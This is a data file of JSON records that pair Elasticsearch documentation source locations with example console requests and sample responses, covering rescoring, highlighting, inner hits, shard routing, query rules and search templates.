{"source_location":{"file":"search/search-your-data/filter-search-results.asciidoc","line":195},"digest":"829a40d484c778a8c58340c7bf09e1d8","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"query\" : {\n \"match\" : {\n \"message\" : {\n \"operator\" : \"or\",\n \"query\" : \"the quick brown\"\n }\n }\n },\n \"rescore\" : {\n \"window_size\" : 50,\n \"query\" : {\n \"rescore_query\" : {\n \"match_phrase\" : {\n \"message\" : {\n \"query\" : \"the quick brown\",\n \"slop\" : 2\n }\n }\n },\n \"query_weight\" : 0.7,\n \"rescore_query_weight\" : 1.2\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/filter-search-results.asciidoc","line":244},"digest":"9334ccd09548b585cd637d7c66c5ae65","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"query\" : {\n \"match\" : {\n \"message\" : {\n \"operator\" : \"or\",\n \"query\" : \"the quick brown\"\n }\n }\n },\n \"rescore\" : [ {\n \"window_size\" : 100,\n \"query\" : {\n \"rescore_query\" : {\n \"match_phrase\" : {\n \"message\" : {\n \"query\" : \"the quick brown\",\n \"slop\" : 2\n }\n }\n },\n \"query_weight\" : 0.7,\n \"rescore_query_weight\" : 1.2\n }\n }, {\n \"window_size\" : 10,\n \"query\" : {\n \"score_mode\": \"multiply\",\n \"rescore_query\" : {\n \"function_score\" : {\n \"script_score\": {\n \"script\": {\n \"source\": \"Math.log10(doc.count.value + 2)\"\n }\n }\n }\n }\n }\n } ]\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":24},"digest":"3d05fa99ba8e1f2c3f3dfe59e4ee60f6","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"match\": { \"content\": \"kimchy\" }\n },\n \"highlight\": {\n \"fields\": {\n \"content\": {}\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":294},"digest":"5969c446688c8b326acc80276573e9d2","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\" : {\n \"match\": { \"user.id\": \"kimchy\" }\n },\n \"highlight\" : {\n \"number_of_fragments\" : 3,\n \"fragment_size\" : 150,\n \"fields\" : {\n \"body\" : { \"pre_tags\" : [\"\"], \"post_tags\" : [\"\"] },\n \"blog.title\" : { \"number_of_fragments\" : 0 },\n \"blog.author\" : { \"number_of_fragments\" : 0 },\n \"blog.comment\" : { \"number_of_fragments\" : 5, \"order\" : \"score\" }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":324},"digest":"eac3bc428d03eb4926fa51f74b9bc4d5","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"match\": {\n \"comment\": {\n \"query\": \"foo bar\"\n }\n }\n },\n \"rescore\": {\n \"window_size\": 50,\n \"query\": {\n \"rescore_query\": {\n \"match_phrase\": {\n \"comment\": {\n \"query\": \"foo bar\",\n \"slop\": 1\n }\n }\n },\n \"rescore_query_weight\": 10\n }\n },\n \"_source\": false,\n \"highlight\": {\n \"order\": \"score\",\n \"fields\": {\n \"comment\": {\n \"fragment_size\": 150,\n \"number_of_fragments\": 3,\n \"highlight_query\": {\n \"bool\": {\n \"must\": {\n \"match\": {\n \"comment\": {\n \"query\": \"foo bar\"\n }\n }\n },\n \"should\": {\n \"match_phrase\": {\n \"comment\": {\n \"query\": \"foo bar\",\n \"slop\": 1,\n \"boost\": 10.0\n }\n }\n },\n \"minimum_should_match\": 0\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":392},"digest":"c147de68fd6da032ad4a3c1bf626f5d6","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"match\": { \"user.id\": \"kimchy\" }\n },\n \"highlight\": {\n \"fields\": {\n \"comment\": { \"type\": \"plain\" }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":416},"digest":"e93ff228ab3e63738e1c83fdfb7424b9","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\" : {\n \"match\": { \"user.id\": \"kimchy\" }\n },\n \"highlight\" : {\n \"pre_tags\" : [\"\"],\n \"post_tags\" : [\"\"],\n \"fields\" : {\n \"body\" : {}\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":437},"digest":"11e8d6e14686efabb8634b6522c05cb5","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\" : {\n \"match\": { \"user.id\": \"kimchy\" }\n },\n \"highlight\" : {\n \"pre_tags\" : [\"\", \"\"],\n \"post_tags\" : [\"\", \"\"],\n \"fields\" : {\n \"body\" : {}\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":457},"digest":"416a3ba11232d3c078c1c31340cf356f","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\" : {\n \"match\": { \"user.id\": \"kimchy\" }\n },\n \"highlight\" : {\n \"tags_schema\" : \"styled\",\n \"fields\" : {\n \"comment\" : {}\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":481},"digest":"698e0a2b67ba7842caa801d9ef46ebe3","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\" : {\n \"match\": { \"user.id\": \"kimchy\" }\n },\n \"highlight\" : {\n \"require_field_match\": false,\n \"fields\": {\n \"body\" : { \"pre_tags\" : [\"\"], \"post_tags\" : [\"\"] }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":514},"digest":"facd6a5e350af62d9481d86991a2b1cb","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"query_string\": {\n \"query\": \"comment.plain:running scissors\",\n \"fields\": [ \"comment\" ]\n }\n },\n \"highlight\": {\n \"order\": \"score\",\n \"fields\": {\n \"comment\": {\n \"matched_fields\": [ \"comment\", \"comment.plain\" ],\n \"type\": \"fvh\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":543},"digest":"fe6c875158c75b6900034a637f199a99","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"query_string\": {\n \"query\": \"running scissors\",\n \"fields\": [\"comment\", \"comment.plain^10\"]\n }\n },\n \"highlight\": {\n \"order\": \"score\",\n \"fields\": {\n \"comment\": {\n \"matched_fields\": [\"comment\", \"comment.plain\"],\n \"type\" : \"fvh\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":570},"digest":"507b456eb768c4aa42b5b84a80e8fe01","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"query_string\": {\n \"query\": \"running scissors\",\n \"fields\": [ \"comment\", \"comment.plain^10\" ]\n }\n },\n \"highlight\": {\n \"order\": \"score\",\n \"fields\": {\n \"comment\": {\n \"matched_fields\": [ \"comment.plain\" ],\n \"type\": \"fvh\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":639},"digest":"e6faae2e272ee57727f38e55a3de5bb2","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"highlight\": {\n \"fields\": [\n { \"title\": {} },\n { \"text\": {} }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":668},"digest":"4f621ab694f62ddb89e0684a9e76c4d1","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\" : {\n \"match\": { \"user.id\": \"kimchy\" }\n },\n \"highlight\" : {\n \"fields\" : {\n \"comment\" : {\"fragment_size\" : 150, \"number_of_fragments\" : 3}\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":687},"digest":"3a2953fd81d65118a776c87a81530e15","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\" : {\n \"match\": { \"user.id\": \"kimchy\" }\n },\n \"highlight\" : {\n \"order\" : \"score\",\n \"fields\" : {\n \"comment\" : {\"fragment_size\" : 150, \"number_of_fragments\" : 3}\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":710},"digest":"991b9ba53f0eccec8ec5a42f8d9b655c","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\" : {\n \"match\": { \"user.id\": \"kimchy\" }\n },\n \"highlight\" : {\n \"fields\" : {\n \"body\" : {},\n \"blog.title\" : {\"number_of_fragments\" : 0}\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":736},"digest":"3e278e6c193b4c17dbdc70670e15d78c","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"match\": { \"user.id\": \"kimchy\" }\n },\n \"highlight\": {\n \"fields\": {\n \"comment\": {\n \"fragment_size\": 150,\n \"number_of_fragments\": 3,\n \"no_match_size\": 150\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":763},"digest":"5ea9da129ca70a5fe534f27a82d80b29","lang":"console","found":["ruby"],"source":"PUT /example\n{\n \"mappings\": {\n \"properties\": {\n \"comment\" : {\n \"type\": \"text\",\n \"index_options\" : \"offsets\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":781},"digest":"17a1e308761afd3282f13d44d7be008a","lang":"console","found":["ruby"],"source":"PUT /example\n{\n \"mappings\": {\n \"properties\": {\n \"comment\" : {\n \"type\": \"text\",\n \"term_vector\" : \"with_positions_offsets\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":803},"digest":"4ff2dcec03fe097075cf1d174a019a1f","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"match_phrase\": { \"message\": \"number 1\" }\n },\n \"highlight\": {\n \"fields\": {\n \"message\": {\n \"type\": \"plain\",\n \"fragment_size\": 15,\n \"number_of_fragments\": 3,\n \"fragmenter\": \"simple\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":826},"digest":"5c8588b2f63f33d42ec19e2027140095","lang":"console-result","found":[],"source":"{\n ...\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.6011951,\n \"hits\": [\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\",\n \"_score\": 1.6011951,\n \"_source\": {\n \"message\": \"some message with the number 1\",\n \"context\": \"bar\"\n },\n \"highlight\": {\n \"message\": [\n \" with the number\",\n \" 1\"\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":858},"digest":"cd7da0c3769682f546cc1888e569382e","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"match_phrase\": { \"message\": \"number 1\" }\n },\n \"highlight\": {\n \"fields\": {\n \"message\": {\n \"type\": \"plain\",\n \"fragment_size\": 15,\n \"number_of_fragments\": 3,\n \"fragmenter\": \"span\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/highlighting.asciidoc","line":881},"digest":"d4a33f1cd1fcc044937599c9ab44de59","lang":"console-result","found":[],"source":"{\n ...\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.6011951,\n \"hits\": [\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\",\n \"_score\": 1.6011951,\n \"_source\": {\n \"message\": \"some message with the number 1\",\n \"context\": \"bar\"\n },\n \"highlight\": {\n \"message\": [\n \" with the number 1\"\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-inner-hits.asciidoc","line":90},"digest":"2a91e1fb8ad93a188fa9d77ec01bc431","lang":"console","found":["ruby"],"source":"PUT test\n{\n \"mappings\": {\n \"properties\": {\n \"comments\": {\n \"type\": \"nested\"\n }\n }\n }\n}\n\nPUT test/_doc/1?refresh\n{\n \"title\": \"Test title\",\n \"comments\": [\n {\n \"author\": \"kimchy\",\n \"number\": 1\n },\n {\n \"author\": \"nik9000\",\n \"number\": 2\n }\n ]\n}\n\nPOST test/_search\n{\n \"query\": {\n \"nested\": {\n \"path\": \"comments\",\n \"query\": {\n \"match\": {\"comments.number\" : 2}\n },\n \"inner_hits\": {} <1>\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-inner-hits.asciidoc","line":136},"digest":"cb58a734d14c0a1e2743f7449d42e9c9","lang":"console-result","found":[],"source":"{\n ...,\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.0,\n \"hits\": [\n {\n \"_index\": \"test\",\n \"_id\": \"1\",\n \"_score\": 1.0,\n \"_source\": ...,\n \"inner_hits\": {\n \"comments\": { <1>\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.0,\n \"hits\": [\n {\n \"_index\": \"test\",\n \"_id\": \"1\",\n \"_nested\": {\n \"field\": \"comments\",\n \"offset\": 1\n },\n \"_score\": 1.0,\n \"_source\": {\n \"author\": \"nik9000\",\n \"number\": 2\n }\n }\n ]\n }\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-inner-hits.asciidoc","line":212},"digest":"983fbb78e57e8fe98db38cf2d217e943","lang":"console","found":["ruby"],"source":"PUT test\n{\n \"mappings\": {\n \"properties\": {\n \"comments\": {\n \"type\": \"nested\"\n }\n }\n }\n}\n\nPUT test/_doc/1?refresh\n{\n \"title\": \"Test title\",\n \"comments\": [\n {\n \"author\": \"kimchy\",\n \"text\": \"comment text\"\n },\n {\n \"author\": \"nik9000\",\n \"text\": \"words words words\"\n }\n ]\n}\n\nPOST test/_search\n{\n \"query\": {\n \"nested\": {\n \"path\": \"comments\",\n \"query\": {\n \"match\": {\"comments.text\" : \"words\"}\n },\n \"inner_hits\": {\n \"_source\" : false,\n \"docvalue_fields\" : [\n \"comments.text.keyword\"\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-inner-hits.asciidoc","line":324},"digest":"79feb4a0c0a21b7015a52f9736cd4683","lang":"console","found":["ruby"],"source":"PUT test\n{\n \"mappings\": {\n \"properties\": {\n \"comments\": {\n \"type\": \"nested\",\n \"properties\": {\n \"votes\": {\n \"type\": \"nested\"\n }\n }\n }\n }\n }\n}\n\nPUT test/_doc/1?refresh\n{\n \"title\": \"Test title\",\n \"comments\": [\n {\n \"author\": \"kimchy\",\n \"text\": \"comment text\",\n \"votes\": []\n },\n {\n \"author\": \"nik9000\",\n \"text\": \"words words words\",\n \"votes\": [\n {\"value\": 1 , \"voter\": \"kimchy\"},\n {\"value\": -1, \"voter\": \"other\"}\n ]\n }\n ]\n}\n\nPOST test/_search\n{\n \"query\": {\n \"nested\": {\n \"path\": \"comments.votes\",\n \"query\": {\n \"match\": {\n \"comments.votes.voter\": \"kimchy\"\n }\n },\n \"inner_hits\" : {}\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-inner-hits.asciidoc","line":380},"digest":"bb924187bb9a4f4f07e55042f1f4b639","lang":"console-result","found":[],"source":"{\n ...,\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.6931471,\n \"hits\": [\n {\n \"_index\": \"test\",\n \"_id\": \"1\",\n \"_score\": 0.6931471,\n \"_source\": ...,\n \"inner_hits\": {\n \"comments.votes\": { <1>\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.6931471,\n \"hits\": [\n {\n \"_index\": \"test\",\n \"_id\": \"1\",\n \"_nested\": {\n \"field\": \"comments\",\n \"offset\": 1,\n \"_nested\": {\n \"field\": \"votes\",\n \"offset\": 0\n }\n },\n \"_score\": 0.6931471,\n \"_source\": {\n \"value\": 1,\n \"voter\": \"kimchy\"\n }\n }\n ]\n }\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-inner-hits.asciidoc","line":442},"digest":"3f5b5bee692e7d4b0992dc0a64e95a60","lang":"console","found":["ruby"],"source":"PUT test\n{\n \"mappings\": {\n \"properties\": {\n \"my_join_field\": {\n \"type\": \"join\",\n \"relations\": {\n \"my_parent\": \"my_child\"\n }\n }\n }\n }\n}\n\nPUT test/_doc/1?refresh\n{\n \"number\": 1,\n \"my_join_field\": \"my_parent\"\n}\n\nPUT test/_doc/2?routing=1&refresh\n{\n \"number\": 1,\n \"my_join_field\": {\n \"name\": \"my_child\",\n \"parent\": \"1\"\n }\n}\n\nPOST test/_search\n{\n \"query\": {\n \"has_child\": {\n \"type\": \"my_child\",\n \"query\": {\n \"match\": {\n \"number\": 1\n }\n },\n \"inner_hits\": {} <1>\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-inner-hits.asciidoc","line":493},"digest":"20250d7a4c6c199116eff4f8bf45cf28","lang":"console-result","found":[],"source":"{\n ...,\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.0,\n \"hits\": [\n {\n \"_index\": \"test\",\n \"_id\": \"1\",\n \"_score\": 1.0,\n \"_source\": {\n \"number\": 1,\n \"my_join_field\": \"my_parent\"\n },\n \"inner_hits\": {\n \"my_child\": {\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.0,\n \"hits\": [\n {\n \"_index\": \"test\",\n \"_id\": \"2\",\n \"_score\": 1.0,\n \"_routing\": \"1\",\n \"_source\": {\n \"number\": 1,\n \"my_join_field\": {\n \"name\": \"my_child\",\n \"parent\": \"1\"\n }\n }\n }\n ]\n }\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-shard-routing.asciidoc","line":48},"digest":"518fcf1dc1edd7dba0864accf71b49f4","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search?preference=_local\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-shard-routing.asciidoc","line":79},"digest":"84f3e8524f6ff80e870c03ab71551538","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search?preference=my-custom-shard-string\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-shard-routing.asciidoc","line":109},"digest":"5276a831513623e43ed567eb52b6dba9","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_doc?routing=my-routing-value\n{\n \"@timestamp\": \"2099-11-15T13:12:00\",\n \"message\": \"GET /search HTTP/1.1 200 1070000\",\n \"user\": {\n \"id\": \"kimchy\"\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-shard-routing.asciidoc","line":125},"digest":"a99bf70ae38bdf1c6f350140b25e0422","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search?routing=my-routing-value\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-shard-routing.asciidoc","line":140},"digest":"5a7f05ab1d05b4eef5ff327168517165","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search?routing=my-routing-value,my-routing-value-2\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-shard-routing.asciidoc","line":169},"digest":"8194f1fae6aa72ab91ea559daad932d4","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search?max_concurrent_shard_requests=3\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-using-query-rules.asciidoc","line":122},"digest":"d595b40bf1ea71923f9824d0f9c99c49","lang":"console","found":[],"source":"PUT /_query_rules/my-ruleset\n{\n \"rules\": [\n {\n \"rule_id\": \"rule1\",\n \"type\": \"pinned\",\n \"criteria\": [\n {\n \"type\": \"fuzzy\",\n \"metadata\": \"query_string\",\n \"values\": [ \"puggles\", \"pugs\" ]\n },\n {\n \"type\": \"exact\",\n \"metadata\": \"user_country\",\n \"values\": [ \"us\" ]\n }\n ],\n \"actions\": {\n \"ids\": [\n \"id1\",\n \"id2\"\n ]\n }\n },\n {\n \"rule_id\": \"rule2\",\n \"type\": \"pinned\",\n \"criteria\": [\n {\n \"type\": \"contains\",\n \"metadata\": \"query_string\",\n \"values\": [ \"beagles\" ]\n }\n ],\n \"actions\": {\n \"docs\": [\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"id3\"\n },\n {\n \"_index\": \"my-index-000002\",\n \"_id\": \"id4\"\n }\n ]\n }\n }\n ]\n}"}, {"source_location":{"file":"search/search-your-data/search-using-query-rules.asciidoc","line":181},"digest":"3bdcff0ec188e1b176eaa08c49eb5244","lang":"console-result","found":[],"source":"{\n \"result\": \"created\"\n}"}, {"source_location":{"file":"search/search-your-data/search-using-query-rules.asciidoc","line":200},"digest":"c9cba66d8c475fd5499e00968f25097e","lang":"console","found":[],"source":"GET /my-index-000001/_search\n{\n \"query\": {\n \"rule_query\": {\n \"organic\": {\n \"query_string\": {\n \"query\": \"puggles\"\n }\n },\n \"match_criteria\": {\n \"query_string\": \"puggles\",\n \"user_country\": \"us\"\n },\n \"ruleset_id\": \"my-ruleset\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":32},"digest":"4e6bee73d8e3d82d1f4220416134da00","lang":"console","found":["ruby"],"source":"PUT _scripts/my-search-template\n{\n \"script\": {\n \"lang\": \"mustache\",\n \"source\": {\n \"query\": {\n \"match\": {\n \"message\": \"{{query_string}}\"\n }\n },\n \"from\": \"{{from}}\",\n \"size\": \"{{size}}\"\n },\n \"params\": {\n \"query_string\": \"My query string\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":66},"digest":"ad92a1a8bb1b0f26d1536fe8ba4ffd17","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"id\": \"my-search-template\",\n \"params\": {\n \"query_string\": \"hello world\",\n \"from\": 20,\n \"size\": 10\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":83},"digest":"8a42210ef72ab6e74c64e9f7db89fbfa","lang":"console-result","found":[],"source":"{\n \"template_output\": {\n \"query\": {\n \"match\": {\n \"message\": \"hello world\"\n }\n },\n \"from\": \"20\",\n \"size\": \"10\"\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":100},"digest":"30bd3c0785f3df4795684754adeb5ecb","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"source\": {\n \"query\": {\n \"match\": {\n \"message\": \"{{query_string}}\"\n }\n },\n \"from\": \"{{from}}\",\n \"size\": \"{{size}}\"\n },\n \"params\": {\n \"query_string\": \"hello world\",\n \"from\": 20,\n \"size\": 10\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":140},"digest":"c956bf1f0829a5f0357c0494ed8b6ca3","lang":"console","found":["ruby"],"source":"GET my-index/_search/template\n{\n \"id\": \"my-search-template\",\n \"params\": {\n \"query_string\": \"hello world\",\n \"from\": 0,\n \"size\": 10\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":157},"digest":"a7c007731604f550c79d05f8c509b403","lang":"console-result","found":[],"source":"{\n \"took\": 36,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.5753642,\n \"hits\": [\n {\n \"_index\": \"my-index\",\n \"_id\": \"1\",\n \"_score\": 0.5753642,\n \"_source\": {\n \"message\": \"hello world\"\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":197},"digest":"774bfde8793dc4927f7cad2dd91c5b5f","lang":"console","found":["ruby"],"source":"GET my-index/_msearch/template\n{ }\n{ \"id\": \"my-search-template\", \"params\": { \"query_string\": \"hello world\", \"from\": 0, \"size\": 10 }}\n{ }\n{ \"id\": \"my-other-search-template\", \"params\": { \"query_type\": \"match_all\" }}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":215},"digest":"4818a1288ac24a56d6d6a4130ee70202","lang":"console","found":["ruby"],"source":"GET _scripts/my-search-template"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":224},"digest":"50764f4ea88079156b0aff2835bcdc45","lang":"console","found":["ruby"],"source":"GET _cluster/state/metadata?pretty&filter_path=metadata.stored_scripts"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":237},"digest":"8e92b10ebcfedc76562ab52d0e46b916","lang":"console","found":["ruby"],"source":"DELETE _scripts/my-search-template"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":258},"digest":"9e962baf1fb407c21d6c47dcd37cec29","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"source\": {\n \"query\": {\n \"match\": {\n \"message\": \"{{query_string}}\"\n }\n },\n \"from\": \"{{from}}{{^from}}0{{/from}}\",\n \"size\": \"{{size}}{{^size}}10{{/size}}\"\n },\n \"params\": {\n \"query_string\": \"hello world\"\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":283},"digest":"1eb9c6ecb827ca69f7b17f7d2a26eae9","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"source\": {\n \"query\": {\n \"term\": {\n \"url.full\": \"{{#url}}{{host}}/{{page}}{{/url}}\"\n }\n }\n },\n \"params\": {\n \"host\": \"http://example.com\",\n \"page\": \"hello-world\"\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":303},"digest":"f4c03b096a964b97e19eeb6d8d2b180b","lang":"console-result","found":[],"source":"{\n \"template_output\": {\n \"query\": {\n \"term\": {\n \"url.full\": \"http%3A%2F%2Fexample.com%2Fhello-world\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":323},"digest":"ff05842419968a2141bde0371ac2f6f4","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"source\": {\n \"query\": {\n \"match\": {\n \"user.group.emails\": \"{{#join}}emails{{/join}}\"\n }\n }\n },\n \"params\": {\n \"emails\": [ \"user1@example.com\", \"user_one@example.com\" ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":342},"digest":"345e6c2431cdefb6198cd273afdeb82d","lang":"console-result","found":[],"source":"{\n \"template_output\": {\n \"query\": {\n \"match\": {\n \"user.group.emails\": \"user1@example.com,user_one@example.com\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":357},"digest":"e2b4867a9f72bda87ebaa3608d3fba4c","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"source\": {\n \"query\": {\n \"range\": {\n \"user.effective.date\": {\n \"gte\": \"{{date.min}}\",\n \"lte\": \"{{date.max}}\",\n \"format\": \"{{#join delimiter='||'}}date.formats{{/join delimiter='||'}}\"\n\t }\n }\n }\n },\n \"params\": {\n \"date\": {\n \"min\": \"2098\",\n \"max\": \"06/05/2099\",\n \"formats\": [\"dd/MM/yyyy\", \"yyyy\"]\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":384},"digest":"bf43165c8916b3f666de8eb77e584244","lang":"console-result","found":[],"source":"{\n \"template_output\": {\n \"query\": {\n \"range\": {\n \"user.effective.date\": {\n \"gte\": \"2098\",\n \"lte\": \"06/05/2099\",\n \"format\": \"dd/MM/yyyy||yyyy\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":412},"digest":"4e5f7a97efdbf517f7a2ed6ef7ff469c","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"source\": \"{ \\\"query\\\": { \\\"terms\\\": { \\\"tags\\\": {{#toJson}}tags{{/toJson}} }}}\",\n \"params\": {\n \"tags\": [\n \"prod\",\n \"es01\"\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":428},"digest":"08ab607f740f064ef090d6f258851ba1","lang":"console-result","found":[],"source":"{\n \"template_output\": {\n \"query\": {\n \"terms\": {\n \"tags\": [\n \"prod\",\n \"es01\"\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":446},"digest":"00c05aa931fc985985e3e21c93cf43ff","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"source\": \"{ \\\"query\\\": {{#toJson}}my_query{{/toJson}} }\",\n \"params\": {\n \"my_query\": {\n \"match_all\": { }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":461},"digest":"e73b0ab3a2e032ee27c4a3a4dfb2ea0d","lang":"console-result","found":[],"source":"{\n \"template_output\" : {\n \"query\" : {\n \"match_all\" : { }\n }\n }\n}\n"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":475},"digest":"b67fa8c560dd10a8e6f226048cd21562","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"source\": \"{ \\\"query\\\": { \\\"bool\\\": { \\\"must\\\": {{#toJson}}clauses{{/toJson}} }}}\",\n \"params\": {\n \"clauses\": [\n {\n \"term\": {\n \"user.id\": \"kimchy\"\n }\n },\n {\n \"term\": {\n \"url.domain\": \"example.com\"\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":499},"digest":"08a598eeb4ce0db34008858d780930c3","lang":"console-result","found":[],"source":"{\n \"template_output\": {\n \"query\": {\n \"bool\": {\n \"must\": [\n {\n \"term\": {\n \"user.id\": \"kimchy\"\n 